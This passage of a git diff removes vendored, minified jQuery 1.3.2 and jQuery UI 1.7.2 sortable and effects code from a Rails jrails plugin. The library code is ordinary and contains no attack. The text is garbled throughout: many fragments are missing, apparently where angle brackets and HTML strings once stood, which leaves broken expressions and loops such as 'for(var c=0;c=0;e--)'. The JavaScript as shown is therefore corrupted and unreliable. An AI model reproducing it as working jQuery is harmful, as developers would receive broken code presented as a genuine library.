b=this;if(this.dragging){this._mouseUp();if(this.options.helper=="original"){this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else{this.currentItem.show()}for(var c=this.containers.length-1;c>=0;c--){this.containers[c]._trigger("deactivate",null,b._uiHash(this));if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",null,b._uiHash(this));this.containers[c].containerCache.over=0}}}if(this.placeholder[0].parentNode){this.placeholder[0].parentNode.removeChild(this.placeholder[0])}if(this.options.helper!="original"&&this.helper&&this.helper[0].parentNode){this.helper.remove()}a.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});if(this.domPosition.prev){a(this.domPosition.prev).after(this.currentItem)}else{a(this.domPosition.parent).prepend(this.currentItem)}return true},serialize:function(d){var b=this._getItemsAsjQuery(d&&d.connected);var c=[];d=d||{};a(b).each(function(){var e=(a(d.item||this).attr(d.attribute||"id")||"").match(d.expression||(/(.+)[-=_](.+)/));if(e){c.push((d.key||e[1]+"[]")+"="+(d.key&&d.expression?e[1]:e[2]))}});return c.join("&")},toArray:function(d){var b=this._getItemsAsjQuery(d&&d.connected);var c=[];d=d||{};b.each(function(){c.push(a(d.item||this).attr(d.attribute||"id")||"")});return c},_intersectsWith:function(m){var e=this.positionAbs.left,d=e+this.helperProportions.width,k=this.positionAbs.top,j=k+this.helperProportions.height;var f=m.left,c=f+m.width,n=m.top,i=n+m.height;var o=this.offset.click.top,h=this.offset.click.left;var g=(k+o)>n&&(k+o)f&&(e+h)m[this.floating?"width":"height"])){return g}else{return(f0?"down":"up")},_getDragHorizontalDirection:function(){var b=this.positionAbs.left-this.lastPositionAbs.left;return b!=0&&(b>0?"right":"left")},refresh:function(b){this._refreshItems(b);this.refreshPositions()},_connectWith:function(){var b=this.options;return b.connectWith.constructor==String?[b.connectWith]:b.connectWith},_getItemsAsjQuery:function(b){var l=this;var g=[];var e=[];var h=this._connectWith();if(h&&b){for(var d=h.length-1;d>=0;d--){var k=a(h[d]);for(var c=k.length-1;c>=0;c--){var f=a.data(k[c],"sortable");if(f&&f!=this&&!f.options.disabled){e.push([a.isFunction(f.options.items)?f.options.items.call(f.element):a(f.options.items,f.element).not(".ui-sortable-helper"),f])}}}}e.push([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper"),this]);for(var d=e.length-1;d>=0;d--){e[d][0].each(function(){g.push(this)})}return a(g)},_removeCurrentsFromItems:function(){var d=this.currentItem.find(":data(sortable-item)");for(var c=0;c=0;e--){var m=a(l[e]);for(var d=m.length-1;d>=0;d--){var g=a.data(m[d],"sortable");if(g&&g!=this&&!g.options.disabled){f.push([a.isFunction(g.options.items)?g.options.items.call(g.element[0],b,{item:this.currentItem}):a(g.options.items,g.element),g]);this.containers.push(g)}}}}for(var e=f.length-1;e>=0;e--){var k=f[e][1];var c=f[e][0];for(var d=0,n=c.length;d=0;d--){var e=this.items[d];if(e.instance!=this.currentContainer&&this.currentContainer&&e.item[0]!=this.currentItem[0]){continue}var c=this.options.toleranceElement?a(this.options.toleranceElement,e.item):e.item;if(!b){e.width=c.outerWidth();e.height=c.outerHeight()}var f=c.offset();e.left=f.left;e.top=f.top}if(this.options.custom&&this.options.custom.refreshContainers){this.options.custom.refreshContainers.call(this)}else{for(var d=this.containers.length-1;d>=0;d--){var f=this.containers[d].element.offset();this.containers[d].containerCache.left=f.left;this.containers[d].containerCache.top=f.top;this.containers[d].containerCache.width=this.containers[d].element.outerWidth();this.containers[d].containerCache.height=this.containers[d].element.outerHeight()}}},_createPlaceholder:function(d){var b=d||this,e=b.options;if(!e.placeholder||e.placeholder.constructor==String){var c=e.placeholder;e.placeholder={element:function(){var f=a(document.createElement(b.currentItem[0].nodeName)).addClass(c||b.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!c){f.style.visibility="hidden"}return f},update:function(f,g){if(c&&!e.forcePlaceholderSize){return}if(!g.height()){g.height(b.currentItem.innerHeight()-parseInt(b.currentItem.css("paddingTop")||0,10)-parseInt(b.currentItem.css("paddingBottom")||0,10))}if(!g.width()){g.width(b.currentItem.innerWidth()-parseInt(b.currentItem.css("paddingLeft")||0,10)-parseInt(b.currentItem.css("paddingRight")||0,10))}}}}b.placeholder=a(e.placeholder.element.call(b.element,b.currentItem));b.currentItem.after(b.placeholder);e.placeholder.update(b,b.placeholder)},_contactContainers:function(d){for(var c=this.containers.length-1;c>=0;c--){if(this._intersectsWith(this.containers[c].containerCache)){if(!this.containers[c].containerCache.over){if(this.currentContainer!=this.containers[c]){var h=10000;var g=null;var e=this.positionAbs[this.containers[c].floating?"left":"top"];for(var b=this.items.length-1;b>=0;b--){if(!a.ui.contains(this.containers[c].element[0],this.items[b].item[0])){continue}var f=this.items[b][this.containers[c].floating?"left":"top"];if(Math.abs(f-e)this.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.topthis.containment[3])?g:(!(g-this.offset.click.topthis.containment[2])?f:(!(f-this.offset.click.left=0;c--){if(a.ui.contains(this.containers[c].element[0],this.currentItem[0])&&!e){f.push((function(g){return function(h){g._trigger("receive",h,this._uiHash(this))}}).call(this,this.containers[c]));f.push((function(g){return function(h){g._trigger("update",h,this._uiHash(this))}}).call(this,this.containers[c]))}}}for(var c=this.containers.length-1;c>=0;c--){if(!e){f.push((function(g){return function(h){g._trigger("deactivate",h,this._uiHash(this))}}).call(this,this.containers[c]))}if(this.containers[c].containerCache.over){f.push((function(g){return function(h){g._trigger("out",h,this._uiHash(this))}}).call(this,this.containers[c]));this.containers[c].containerCache.over=0}}if(this._storedCursor){a("body").css("cursor",this._storedCursor)}if(this._storedOpacity){this.helper.css("opacity",this._storedOpacity)}if(this._storedZIndex){this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex)}this.dragging=false;if(this.cancelHelperRemoval){if(!e){this._trigger("beforeStop",d,this._uiHash());for(var c=0;c *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1000}})})(jQuery);;/* - * jQuery UI Effects 1.7.2 - * - * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) - * Dual licensed under the MIT (MIT-LICENSE.txt) - * and GPL (GPL-LICENSE.txt) licenses. - * - * http://docs.jquery.com/UI/Effects/ - */ -jQuery.effects||(function(d){d.effects={version:"1.7.2",save:function(g,h){for(var f=0;f
    ');var j=f.parent();if(f.css("position")=="static"){j.css({position:"relative"});f.css({position:"relative"})}else{var i=f.css("top");if(isNaN(parseInt(i,10))){i="auto"}var h=f.css("left");if(isNaN(parseInt(h,10))){h="auto"}j.css({position:f.css("position"),top:i,left:h,zIndex:f.css("z-index")}).show();f.css({position:"relative",top:0,left:0})}j.css(g);return j},removeWrapper:function(f){if(f.parent().is(".ui-effects-wrapper")){return f.parent().replaceWith(f)}return f},setTransition:function(g,i,f,h){h=h||{};d.each(i,function(k,j){unit=g.cssUnit(j);if(unit[0]>0){h[j]=unit[0]*f+unit[1]}});return h},animateClass:function(h,i,k,j){var f=(typeof k=="function"?k:(j?j:null));var g=(typeof k=="string"?k:null);return this.each(function(){var q={};var o=d(this);var p=o.attr("style")||"";if(typeof p=="object"){p=p.cssText}if(h.toggle){o.hasClass(h.toggle)?h.remove=h.toggle:h.add=h.toggle}var l=d.extend({},(document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle));if(h.add){o.addClass(h.add)}if(h.remove){o.removeClass(h.remove)}var m=d.extend({},(document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle));if(h.add){o.removeClass(h.add)}if(h.remove){o.addClass(h.remove)}for(var r in m){if(typeof m[r]!="function"&&m[r]&&r.indexOf("Moz")==-1&&r.indexOf("length")==-1&&m[r]!=l[r]&&(r.match(/color/i)||(!r.match(/color/i)&&!isNaN(parseInt(m[r],10))))&&(l.position!="static"||(l.position=="static"&&!r.match(/left|top|bottom|right/)))){q[r]=m[r]}}o.animate(q,i,g,function(){if(typeof d(this).attr("style")=="object"){d(this).attr("style")["cssText"]="";d(this).attr("style")["cssText"]=p}else{d(this).attr("style",p)}if(h.add){d(this).addClass(h.add)}if(h.remove){d(this).removeClass(h.remove)}if(f){f.apply(this,arguments)}})})}};function c(g,f){var i=g[1]&&g[1].constructor==Object?g[1]:{};if(f){i.mode=f}var h=g[1]&&g[1].constructor!=Object?g[1]:(i.duration?i.duration:g[2]);h=d.fx.off?0:typeof h==="number"?h:d.fx.speeds[h]||d.fx.speeds._default;var j=i.callback||(d.isFunction(g[1])&&g[1])||(d.isFunction(g[2])&&g[2])||(d.isFunction(g[3])&&g[3]);return[g[0],i,h,j]}d.fn.extend({_show:d.fn.show,_hide:d.fn.hide,__toggle:d.fn.toggle,_addClass:d.fn.addClass,_removeClass:d.fn.removeClass,_toggleClass:d.fn.toggleClass,effect:function(g,f,h,i){return d.effects[g]?d.effects[g].call(this,{method:g,options:f||{},duration:h,callback:i}):null},show:function(){if(!arguments[0]||(arguments[0].constructor==Number||(/(slow|normal|fast)/).test(arguments[0]))){return this._show.apply(this,arguments)}else{return this.effect.apply(this,c(arguments,"show"))}},hide:function(){if(!arguments[0]||(arguments[0].constructor==Number||(/(slow|normal|fast)/).test(arguments[0]))){return this._hide.apply(this,arguments)}else{return this.effect.apply(this,c(arguments,"hide"))}},toggle:function(){if(!arguments[0]||(arguments[0].constructor==Number||(/(slow|normal|fast)/).test(arguments[0]))||(d.isFunction(arguments[0])||typeof arguments[0]=="boolean")){return this.__toggle.apply(this,arguments)}else{return this.effect.apply(this,c(arguments,"toggle"))}},addClass:function(g,f,i,h){return f?d.effects.animateClass.apply(this,[{add:g},f,i,h]):this._addClass(g)},removeClass:function(g,f,i,h){return f?d.effects.animateClass.apply(this,[{remove:g},f,i,h]):this._removeClass(g)},toggleClass:function(g,f,i,h){return((typeof f!=="boolean")&&f)?d.effects.animateClass.apply(this,[{toggle:g},f,i,h]):this._toggleClass(g,f)},morph:function(f,h,g,j,i){return d.effects.animateClass.apply(this,[{add:h,remove:f},g,j,i])},switchClass:function(){return this.morph.apply(this,arguments)},cssUnit:function(f){var g=this.css(f),h=[];d.each(["em","px","%","pt"],function(j,k){if(g.indexOf(k)>0){h=[parseFloat(g),k]}});return h}});d.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(g,f){d.fx.step[f]=function(h){if(h.state==0){h.start=e(h.elem,f);h.end=b(h.end)}h.elem.style[f]="rgb("+[Math.max(Math.min(parseInt((h.pos*(h.end[0]-h.start[0]))+h.start[0],10),255),0),Math.max(Math.min(parseInt((h.pos*(h.end[1]-h.start[1]))+h.start[1],10),255),0),Math.max(Math.min(parseInt((h.pos*(h.end[2]-h.start[2]))+h.start[2],10),255),0)].join(",")+")"}});function b(g){var f;if(g&&g.constructor==Array&&g.length==3){return g}if(f=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(g)){return[parseInt(f[1],10),parseInt(f[2],10),parseInt(f[3],10)]}if(f=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(g)){return[parseFloat(f[1])*2.55,parseFloat(f[2])*2.55,parseFloat(f[3])*2.55]}if(f=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(g)){return[parseInt(f[1],16),parseInt(f[2],16),parseInt(f[3],16)]}if(f=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(g)){return[parseInt(f[1]+f[1],16),parseInt(f[2]+f[2],16),parseInt(f[3]+f[3],16)]}if(f=/rgba\(0, 0, 0, 0\)/.exec(g)){return a.transparent}return a[d.trim(g).toLowerCase()]}function e(h,f){var g;do{g=d.curCSS(h,f);if(g!=""&&g!="transparent"||d.nodeName(h,"body")){break}f="backgroundColor"}while(h=h.parentNode);return b(g)}var a={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]};d.easing.jswing=d.easing.swing;d.extend(d.easing,{def:"easeOutQuad",swing:function(g,h,f,j,i){return d.easing[d.easing.def](g,h,f,j,i)},easeInQuad:function(g,h,f,j,i){return j*(h/=i)*h+f},easeOutQuad:function(g,h,f,j,i){return -j*(h/=i)*(h-2)+f},easeInOutQuad:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h+f}return -j/2*((--h)*(h-2)-1)+f},easeInCubic:function(g,h,f,j,i){return j*(h/=i)*h*h+f},easeOutCubic:function(g,h,f,j,i){return j*((h=h/i-1)*h*h+1)+f},easeInOutCubic:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h*h+f}return j/2*((h-=2)*h*h+2)+f},easeInQuart:function(g,h,f,j,i){return j*(h/=i)*h*h*h+f},easeOutQuart:function(g,h,f,j,i){return -j*((h=h/i-1)*h*h*h-1)+f},easeInOutQuart:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h*h*h+f}return -j/2*((h-=2)*h*h*h-2)+f},easeInQuint:function(g,h,f,j,i){return j*(h/=i)*h*h*h*h+f},easeOutQuint:function(g,h,f,j,i){return j*((h=h/i-1)*h*h*h*h+1)+f},easeInOutQuint:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h*h*h*h+f}return j/2*((h-=2)*h*h*h*h+2)+f},easeInSine:function(g,h,f,j,i){return -j*Math.cos(h/i*(Math.PI/2))+j+f},easeOutSine:function(g,h,f,j,i){return j*Math.sin(h/i*(Math.PI/2))+f},easeInOutSine:function(g,h,f,j,i){return -j/2*(Math.cos(Math.PI*h/i)-1)+f},easeInExpo:function(g,h,f,j,i){return(h==0)?f:j*Math.pow(2,10*(h/i-1))+f},easeOutExpo:function(g,h,f,j,i){return(h==i)?f+j:j*(-Math.pow(2,-10*h/i)+1)+f},easeInOutExpo:function(g,h,f,j,i){if(h==0){return f}if(h==i){return f+j}if((h/=i/2)<1){return j/2*Math.pow(2,10*(h-1))+f}return j/2*(-Math.pow(2,-10*--h)+2)+f},easeInCirc:function(g,h,f,j,i){return -j*(Math.sqrt(1-(h/=i)*h)-1)+f},easeOutCirc:function(g,h,f,j,i){return j*Math.sqrt(1-(h=h/i-1)*h)+f},easeInOutCirc:function(g,h,f,j,i){if((h/=i/2)<1){return -j/2*(Math.sqrt(1-h*h)-1)+f}return j/2*(Math.sqrt(1-(h-=2)*h)+1)+f},easeInElastic:function(g,i,f,m,l){var j=1.70158;var k=0;var h=m;if(i==0){return f}if((i/=l)==1){return f+m}if(!k){k=l*0.3}if(h
    ').appendTo(document.body).addClass(b.options.className).css({top:d.top,left:d.left,height:f.innerHeight(),width:f.innerWidth(),position:"absolute"}).animate(g,b.duration,b.options.easing,function(){c.remove();(b.callback&&b.callback.apply(f[0],arguments));f.dequeue()})})}})(jQuery);; \ No newline at end of file diff --git a/vendor/plugins/jrails/javascripts/jquery.js b/vendor/plugins/jrails/javascripts/jquery.js deleted file mode 100644 index b1ae21d8..00000000 --- a/vendor/plugins/jrails/javascripts/jquery.js +++ /dev/null @@ -1,19 +0,0 @@ -/* - * jQuery JavaScript Library v1.3.2 - * http://jquery.com/ - * - * Copyright (c) 2009 John Resig - * Dual licensed under the MIT and GPL licenses. - * http://docs.jquery.com/License - * - * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009) - * Revision: 6246 - */ -(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("",""]||!O.indexOf("",""]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"","
    "]||!O.indexOf("",""]||(!O.indexOf("",""]||!O.indexOf("",""]||!o.support.htmlSerialize&&[1,"div
    ","
    "]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return 